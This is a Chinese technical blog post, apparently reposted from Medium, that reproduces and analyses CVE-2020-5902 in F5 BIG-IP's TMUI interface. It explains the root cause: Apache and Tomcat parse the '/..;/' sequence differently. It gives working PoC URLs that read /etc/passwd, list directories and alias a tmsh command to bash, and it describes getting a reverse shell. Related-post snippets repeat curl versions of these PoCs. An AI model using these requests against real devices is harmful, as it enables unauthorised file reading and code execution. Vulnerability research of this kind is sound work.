[旧文系列] CVE-2020-5902: F5 BIG-IP RCE 漏洞复现与分析

最新推荐文章于 2024-08-12 09:49:11 发布
最新推荐文章于 2024-08-12 09:49:11 发布
阅读量4k 收藏 5
点赞数 2
文章标签： 安全 tcp/ip web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mole_exp/article/details/122313742
版权

文章目录

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章，挑选其中一些值得保留的，迁移到当前博客来。

文章首发地址：hxxps://medium.com/@m01e/cve-2020-5902-f5-big-ip-rce-漏洞分析-1e50e24e0415

1、前言

今年F5 BIG-IP的RCE漏洞CVE-2020–5902，其实之前看了一些该漏洞的分析文章，发现漏洞原理还是很简单的，关键点就是 @Orange 在Blackhat 2018演讲的议题(见参考[1])中提到的反向代理和Web Server对URL的解析不一致从而导致ACL被绕过。

但是在我实际调试的过程中，还是遇到了坑点。因为先前看到的几篇发表在国内安全社区的关于该漏洞的分析文章存在错误，从而导致我在自己调试分析的时候先入为主地在错误的方向浪费了些时间。所以本文除了记录自己对该漏洞的调试分析过程外，还会提及自己遇到的坑。

2、搭建漏洞环境

庆幸的是，F5官方提供了BIG-IP产品各个版本的虚拟机环境。只需在 F5官网下载存在漏洞版本的虚拟机镜像，然后将下载得到的ova文件导入虚拟机即可。

在这里插入图片描述
启动虚拟机后，默认账号/密码为： root/default ，首次登陆后需要修改密码。
在这里插入图片描述
访问管理页面如下，说明环境是ok的。
在这里插入图片描述

3、漏洞复现

3.1 任意文件读取

#PoC:
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

在这里插入图片描述

3.2 列出目录项

#PoC:
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui

在这里插入图片描述

3.3 RCE

先设置 list 为 bash 的别名

https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

在这里插入图片描述
通过 fileSave.jsp 实现文件写入，内容为要执行的命令：
在这里插入图片描述
在虚拟机中可以看到 /tmp/testcmd 被成功写入要执行的命令：
在这里插入图片描述
执行命令(前提是需要用户登录)
在这里插入图片描述
反弹shell：
实现反弹shell，同上面一样，利用 fileSave.jsp 写入反弹shell的命令即可：
在这里插入图片描述
执行命令获取反弹shell：
在这里插入图片描述
可以看到，通过 /tmui 这个入口实现RCE其实比较鸡肋，因为需要用户登录。如果你可以进行用户登录，根本无需通过 /..; 来绕过ACL，而是直接访问 /tmui/tmui/locallb/workspace/tmshCmd.jsp 或 /tmui/tmui/locallb/workspace/fileSave.jsp 便可达到目的。

你可能会说，未登录的情况下， 可通过https://xxxx/tmui/login.jsp/..;/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp写入webshell不就好了？实际上不可以，因为默认情况下， /usr 目录是以只读权限进行挂载的，故无法在站点目录 /usr/local/www写入文件。
在这里插入图片描述
在这里插入图片描述

4、搭建漏洞调试环境

这里我使用IDEA搭建远程调试环境。

首先，F5 BIG-IP 是 Apache+Tomcat 即反向代理+Web容器这样的后端架构。执行 netstat -anp |grep 443可以看到443端口对应的服务就是Apache。

在这里插入图片描述
那么，网站web目录在哪里呢？可通过查看Apache的配置文件/etc/httpd/conf/httpd.conf获悉，如下图，可知网站目录在/usr/local/www 下。
在这里插入图片描述
从上面的PoC可知，漏洞入口在 /tmui ，所以这里把 /usr/local/www/ 下的 /tmui 目录拷到本地以便后续调试使用。
在这里插入图片描述
一般来说，Tomcat开启调试只需以 jpda模式运行 catalina.sh脚本 catalina.sh jpda start ，但在该虚拟机上并未找到该脚本, 也没有找到 Tomcat 的自带的启动脚本 startup.sh
在这里插入图片描述
那么Tomcat是如何启动的？下面查看进程信息：
在这里插入图片描述
可以看到一个疑似启动脚本 /usr/sbin/dtomcat，查看其内容：
在这里插入图片描述
可以看到，它是使用 java 直接运行 BootStrap 来启动Tomcat的。因此这里添加以下启动参数来开启Tomcat的调试模式，指定调试端口为 8777:

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777

但默认情况下 /usr是以只读模式挂载：
在这里插入图片描述
执行以下命令以可写方式重新挂载 /usr ：

mount -o remount w /usr

在这里插入图片描述
添加启动参数并保存，然后重启虚拟机。

此时，Tomcat便以调试模式启动。但本机telnet到虚拟机的 8777 端口不通。 nmap 探测 8777 端口发现是 filtered 状态。猜测可能是虚拟机防火墙的策略导致。

在这里插入图片描述
尝试使用 iptables 尝试修改防火墙规则，结果使用 iptables 命令时，系统提示如下：

Use the TMOS shell utility to make changes to the system configuration.
For more information, see "tmsh help security firewall management-ip-rules"

在这里插入图片描述
由此可看出，F5提供的这个虚拟机环境，使用了自己的防火墙管理工具。

于是根据提示执行 tmsh help security firewall management-ip-rules , 可获取防火墙策略设置方法：
在这里插入图片描述
于是，添加防火墙规则，放行 8777 端口入站，如下：
在这里插入图片描述

modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }

在这里插入图片描述
添加防火墙规则后，用nmap扫描发现 8777 端口通了。
在这里插入图片描述
接下来就是在IDEA设置好远程调试的配置。

将虚拟机拷贝出来的 tmui 目录导入IDEA，然后将 tmui/WEB-INF 目录下的 classes 和 lib 目录都添加为该工程的依赖库，因为这两个目录包含了 tmui 工程的所有 .class 和 .jar 。另外，为了后面可以调试分析Tomcat对 /..;/ 的处理，我这里把虚拟机中Tomcat的相关jar也拷到本地，并添加为 tmui 工程的依赖库。
在这里插入图片描述
在这里插入图片描述
添加依赖库的配置如下图所示。
在这里插入图片描述
配置远程调试。
在这里插入图片描述
启动调试后，访问前面的PoC，断点可以正常断下：
在这里插入图片描述

5、漏洞分析

5.1 坑

在自己开始调试分析这个漏洞前，我先是看了篇国内某个安全社区的分析文章，里面是从 WEB-INF/web.xml 文件入手，然后看到 com.f5.controller.ControlServlet 这个Servlet有设置 load-on-startup 属性，便开始使用 jd-gui 对 tmui.jar 反编译，然后莫名其妙地开始对 com.f5.controller.ControlServlet 中的 doGet/doPost方法进行源码跟踪分析。

在这里插入图片描述
在这里插入图片描述
因为从 com.f5.controller.ControlServlet 对应的 <servlet-mapping> 可知，它的 <url-pattern>与上面提到的漏洞PoC的URL路径根本匹配不上。

而且，我在实际调试的时候，在 com.f5.controller.ControlServlet 中的 doGet() 方法下断点，无论是我未登录情况下访问 https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd ，还是在登录情况下访问 https://xxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName?fileName=/etc/passwd ， ControlServlet 里的断点都没被触发。

但 fileRead_jsp.class 中下的断点是能被触发的。
在这里插入图片描述
在这里插入图片描述
因此我认为这个漏洞产生的原因与 com.f5.controller.ControlServlet无关。

5.2 漏洞原理

前面一开始就说到，这个漏洞的关键点是反向代理和Web Server对URL的解析不一致从而导致ACL被绕过。以任意文件读取为例：

#PoC:
https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
  • 未登录情况下，访问该PoC便可读取系统文件 /etc/passwd
  • 登录情况下，访问 https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 便可读取系统文件 /etc/passwd
  • 未登录情况下，访问 https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 会跳转到登录页面： https://xxxx/tmui/login.jsp

可以看出，上面的PoC是绕过了权限校验从而访问到后台 /fileRead.jsp 对应的servlet类 org.apache.jsp.tmui.locallb.workspace.fileRead_jsp。

从Orange的议题，我们可以知道，Apache会把 /..;/ 当作一个正常目录去对待，而Tomcat会把它当作父目录，所以上面的PoC，当Apache将请求转发到Tomcat时，Tomcat会把它看作是: https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd。
在这里插入图片描述
而且可以在未登录情况下成功读取 /etc/passwd文件的内容，这说明权限校验并非在Tomcat这边，而是在Apache。

查看Apache的配置，可以看到 /tmui 路径是启用了PAM认证。
在这里插入图片描述
但 /tmui/login.jsp 这个路径是不需要进行权限认证的，所以应该是F5 BIG-IP自行实现了PAM认证模块。但具体是在哪里实现的，我并无头绪。后来也是在网上看到nccgroup发的文章(参考[3])，才知道是在 mod_auth_pam.so和 mod_f5_auth_cookie.so中实现的，这两个共享库在 /usr/lib/httpd/modules路径下。由于本人现阶段二进制逆向分析能力不足，所以也只能参考nccgroup的文章来简单说一说。

把 mod_f5_auth_cookie.so 拖到 Ghidra 中，可以看到它对请求的URL路径的前15个字节和 /tmui/login.jsp 进行比较，如果相等则不进行权限校验。所以也就能解释为何 https://xxxx/tmui/login.jsp/..;/能绕过Apache的PAM权限认证从而让Apache把请求转发到后端的Tomcat。

在这里插入图片描述
Apache将某些路径的请求转发到Tomcat的相关规则，在文件/conf/httpd/conf.d/proxy_ajp.conf中进行了配置，其中，对于 /tmui 路径的转发规则如下：

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5

Apache与Tomcat对分号 ; 的解析差异

Apache httpd会把URL中的分号解释为用于路径解析的普通字符，而Tomcat将分号解释为查询分隔符(类似于问号?)。

因为Tomcat是支持 Path Parameters 的，比如 http://xxxx/test.jsp;param=123 ，它定义了路径段 /test.jsp 有一个值为 123 的路径参数 param 。换言之，访问 /test.jsp;param=123 对访问 /test.jsp 页面毫无影响。

Tomcat获取到Apache httpd转发过来的请求后，会对请求的URL路径进行处理，其中就包括去掉 Path Parameters ，以上面的读取任意文件的PoC为例，

https://xxxx/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

去掉 Path Parameters 后，变成了:

https://xxxx/tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

在这里插入图片描述
在这里插入图片描述
然后，Tomcat再对URL进行规范化处理，会把 /../ 解释为父目录，故最后变为：

https://xxxx/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

最后就是根据路径匹配对应的servlet进行处理：
在这里插入图片描述
在这里插入图片描述

5.3 小结

到此，该漏洞的 /tmui 入口就分析结束。因为篇幅过长，该漏洞的另一个入口 /hsqldb ，留到下一篇文章再继续。

另外，这个漏洞的 /tmui ，原理虽然比较简单，但通过动手调试，虽然采了坑，但还是学到了不少知识，比如Apache和Tomcat之间是如何组合到一起提供服务的，Apache和Tomcat对URL的解析不一致的问题，以及了解到了F5 BIG-IP使用了自己实现的防火墙等。

参考

[1] https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
[2] https://www.anquanke.com/post/id/210659
[3] https://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/
[4] https://www.cnblogs.com/f-ck-need-u/p/8414043.html

xc8qanAFenlka@x1
关注
F5 BIG-IP远程代码执行漏洞复现（CVE-2020-5902）
玄道的网安博客
07-06 2058
前言 F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。 影响版本 BIG-IP 15.x: 15.1.0/15.0.0 BIG-IP 14.x: 14.1.0 ~ 14.1.2 BIG-IP 13.x: 13.1.0 ~ 13.1.3 BIG-IP 12.x: 12.1.0 ~ 12.1.5 BIG-IP 11.x: 11.6.1 ~ 11.6.5 环境搭建 在下面页面登录注册，之后申请秘钥 http
【漏洞复现】F5 BIG-IP 远程代码执行漏洞(CVE-2023-46747)
qq_18193739的博客
11-01 4853
未经授权的远程攻击者通过管理端口或自身IP地址访问BIG-IP系统，利用此漏洞可能绕过身份认证，导致在暴露流量管理用户界面（TMUI）的 F5 BIG-IP 实例上执行任意代码。
漏洞复现-F5 BIG-IP 存在远程代码执行漏洞 (CVE-2023-46747)
最新发布
玄道的网安博客
08-12 810
F5 BIG-IP 存在远程代码执行漏洞。未经身份验证的攻击者可能会绕过配置实用程序身份验证，通过管理端口和/或自身 IP 地址网络访问 BIG-IP 系统，从而执行任意系统命令。目前官方已发布新版已经修复此漏洞，并且为受影响版本发布了补丁，建议用户尽快升级至最新版本。我们先将poc得十六进制进行转换，转换后可以发现，该数据包进行创建管理员账户。然后使用创建的管理员账号进行命令执行操作。
CVE-2022-1388 F5 BIG-IP权限绕过命令执行漏洞复现
热爱学习，喜欢折腾！
09-02 2687
F5Networks(纳斯达克: FFIV)，全球领先的应用交付网络（ADN）领域的厂商，创建于1996年，总部位于美国西雅图市，F5为全球大型企业、运营商、政府与消费品牌提供更加快速、安全以及智能的应用，通过交付云与安全解决方案，F5帮助企业在不损失速度与管理性的同时享有它们所需的应用架构。F5官网发布安全公告，披露F5 BIG-IP存在一处远程代码执行漏洞（CVE-2022-1388）。
F5漏洞复现[CVE-2020-5902]与[CVE_2021_22986]
一个程序员
11-20 2431
引言   F5 BIG-IP 广泛应用于大型企业，数据中心、云计算平台中，可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。这篇文章主要是复现F5的漏洞，包括其被远程代码执行的过程， 以及探究以下我们可以在F5上远程执行代码之后可以做哪些事情。 环境搭建   F5的环境搭建教程在网上可以查到很多，这里大概介绍以下流程与心得。 首先搭建环境需要使用vmware软件运行F5的镜像来实现，需要下载并安装相关文件，这里使用的是家用个人电脑。 亲测过在F5网站上注册好后，下载含有漏洞的F5镜像失败的，
F5 BIG-IP TMUI 远程代码执行(CVE-2020-5902)
mei_13的博客
07-08 652
1.1 漏洞描述: 在F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日，F5官方公布流量管理用户界面（TMUI）存在 前台远程执行代码（RCE）漏洞（CVE-2020-5902）。攻击者利用该漏洞，构造恶意请求，在未授权的情况下通过向漏洞页面发送特制的请求包，可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。 1.2 影响范围
CVE-2021-22986:CVE-2021-22986和F5 BIG-IP RCE
03-25
此漏洞允许未经身份验证的攻击者通过BIG-IP管理界面和自身IP地址对iControl REST接口进行网络访问，以执行任意系统命令，创建或删除文件以及禁用服务。 此漏洞只能通过控制平面利用，而不能通过数据平面利用。 剥削...
CVE-2021-22986 F5 BIG-IP 远程代码执行漏洞复现
qq_32660043的博客
03-22 4326
CVE-2021-22986 F5 BIG-IP 远程代码执行漏洞复现
F5 BIG-IP远程代码执行漏洞(CVE-2020-5902)复现
m0_48520508的博客
11-18 1284
0x00简介 F5 BIG-IP 是美国``F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。 在F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞，导致可以未授权访问TMUI模块所有功能（包括未公开功能），漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。 0x02漏洞概述 攻击者可利用该漏洞执行任意系统命令、创建或删除文件、禁用服务、执行任意的Java代码,可获取sh
F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析
晓得哥的博客
07-16 662
作者：Longofo@知道创宇404实验室时间：2020年7月10日English Version:https://paper.seebug.org/1272/ 原文链接：https://paper.seebug.org/1271/ F5 BIG-IP最近发生了一次比较严重的RCE漏洞，其中主要公开出来的入口就是tmsh与hsqldb方式，tmsh的利用与分析分析比较多了，如果复现过tmsh的利用，就应该知道这个地方利用有些鸡肋，后面不对tmsh进行分析，主要看下hsqldb的利用。hsqldb的利用.
CVE-2020-5902 BIG-IP RCE漏洞复现&exp
Adminxe的博客
07-12 1032
0x01 漏洞简述 F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。 未授权的远程攻击者通过向该页面发送特制的请求包，可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。 0x02 漏洞详情 未授权的远程...
CVE-2020-5902 BIG-IP RCE漏洞复现
weixin_44508748的博客
11-21 218
影响范围 版本号主要如下 11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x 文件读取poc curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd' https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileN
（CVE-2020-5902）漏洞复现|我们能从F5 BIG-IP 远程代码执行漏洞学到什么？
siaowei44的博客
07-10 814
（一）漏洞简介 上周爆出一个严重的漏洞，漏洞编号为CVE-2020-5902。这个漏洞存在于F5公司的Big-IP设备。 BIG-IP 广泛应用于大型企业，数据中心、云计算平台中，可以实现应用加速、负载均衡、SLL过载、web应用防火墙等功能。 简而言之，通过在Big-IP的TMUI（用户管理页面）发送特定的请求包，就可以在管理员权限下读取文件、写入文件并执行bash命令。 经过了解，该产品应用广泛，然而该漏洞复现简单，可以说影响颇大，建议存在该漏洞的Big-IP版本尽快修复。 （二）影响版...
CVE-2020-5902 F5 BIG-IP 远程代码执行RCE
weixin_41082546的博客
07-06 248
cve-2020-5902 : RCE: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' Read File: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
CVE-2020-5902: F5 BIG-IP 远程代码执行漏洞分析
爱国小白帽
07-15 1325
360-CERT [三六零CERT](javascript:void(0)???? 昨天 0x00 漏洞简述 2020年07月08日， 360CERT监测发现 F5 官方更新了 F5 BIG-IP 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-5902，漏洞等级：严重。 未授权的远程攻击者通过向漏洞页面发送特制的请求包，可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等，使用官方的httpd配置
F5 BIG-IP远程代码执行漏洞(CVE-2021-22986)
thelostworld
03-20 3654
F5 BIG-IP远程代码执行漏洞(CVE-2021-22986) 一、简介 该漏洞允许未经身份验证的攻击者通过BIG-IP管理界面和自身IP地址对iControl REST接口进行网络访问，以执行任意系统命令，创建或删除文件以及禁用服务。 ​ 二、影响版本 F5 BIG-IP 16.x: 16.1.0.3 F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x:..
F5 BIG-IP TMUI 远程代码执行漏洞（CVE-2020-5902）
box
07-24 817
一、漏洞详情 近日，绿盟科技监测到F5官方对流量管理用户界面（TMUI）远程代码执行漏洞（CVE-2020-5902）的安全公告进行了更新。受影响的15.x版本变更为15.0.0-15.1.0，更新了可被绕过的临时缓解措施及验证方法；未经身份验证的攻击者通过BIG-IP管理端口或自身IP访问TMUI，可构造恶意请求获取目标服务器权限，CVSS评分为10分。目前msf已经集成了该漏洞的利用，建议还未修复的用户尽快采取措施进行防护。 F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管
F5 BIG-IP TMUI远程代码执行漏洞复现(CVE-2020-5902)
谢公子的博客
07-07 2029
F5 BIG-IP F5 BIG-IP Edge Gateway是一个接入解决方案，为远程用户提供了SSL VPN远程接入、安全性、应用加速和高可用性服务。 CVE-2020-5902 漏洞描述 2020年7月3日，未授权的远程攻击者通过向漏洞页面发送特制的请求包，可以造成任意Java代码执行。进而控制F5 BIG-IP的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等，该漏洞影响控制面板受影响，不影响数据面板。 漏洞危害等级 严重 影响版本 BIG-IP
CVE-2020-5902: F5 BIG-IP 远程代码执行漏洞通告
爱国小白帽
07-04 3658
CVE-2020-5902: F5 BIG-IP 远程代码执行漏洞通告 360-CERT [三六零CERT](javascript:void(0)???? 今天 0x00 漏洞简述 2020年07月03日， 360CERT监测发现 F5 发布了 F5 BIG-IP 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-5902，漏洞等级：严重。 未授权的远程攻击者通过向漏洞页面发送特制的请求包，可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值